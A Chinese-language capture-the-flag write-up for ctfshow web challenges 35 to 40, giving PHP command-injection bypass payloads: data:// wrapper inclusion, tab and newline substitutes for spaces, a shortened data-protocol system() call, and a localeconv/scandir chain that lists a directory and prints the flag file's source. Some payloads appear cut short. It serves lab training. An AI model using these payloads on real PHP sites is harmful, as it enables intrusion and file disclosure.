ctfshow web入门 命令篇(二)
web35

解法一:与web34相同
解法二:用data协议 模板:data:text/plain,
本题用:
?c=include%09$_POST[a]?> POST:a=data:text/plain,

web36


发现过滤了0-9数字把空格从**%09改为%0a**
如
web37
和前面的题差不多 直接用data或php协议绕过 推荐用data协议(因为不用后续解码)
?c=data:text/plain,

web38

发现过滤多了PHP和file导致标准的data无法使用 但可以使用简写版(把php改为=)
简写版:data:text/plain,=system("命令");?>

web39
和前面的题一样的解法
include($c.".php");含义是在变量c的值后添加.php 对data协议无意义
web40
localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。current()与其相似。
scandir():获取目录下的文件。
array_reverse():数组逆序。
next():函数将内部指针指向数组中的下一个元素,并输出。
print_r():函数用于打印变量,作用对象是变量。
show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮,作用对象是文件。
highlight_file():跟show_source()类似。

仔细看会发现过滤的()是中文的 所以相当于没过滤
?c=print_r(scandir(pos(localeconv())));以数组的形式展现目录

?c=print_r((array_reverse(scandir(current(localeconv())))));将目录反转
?c=show_source(next(array_reverse(scandir(current(localeconv())))));显示数组1的高亮文字 得到flag
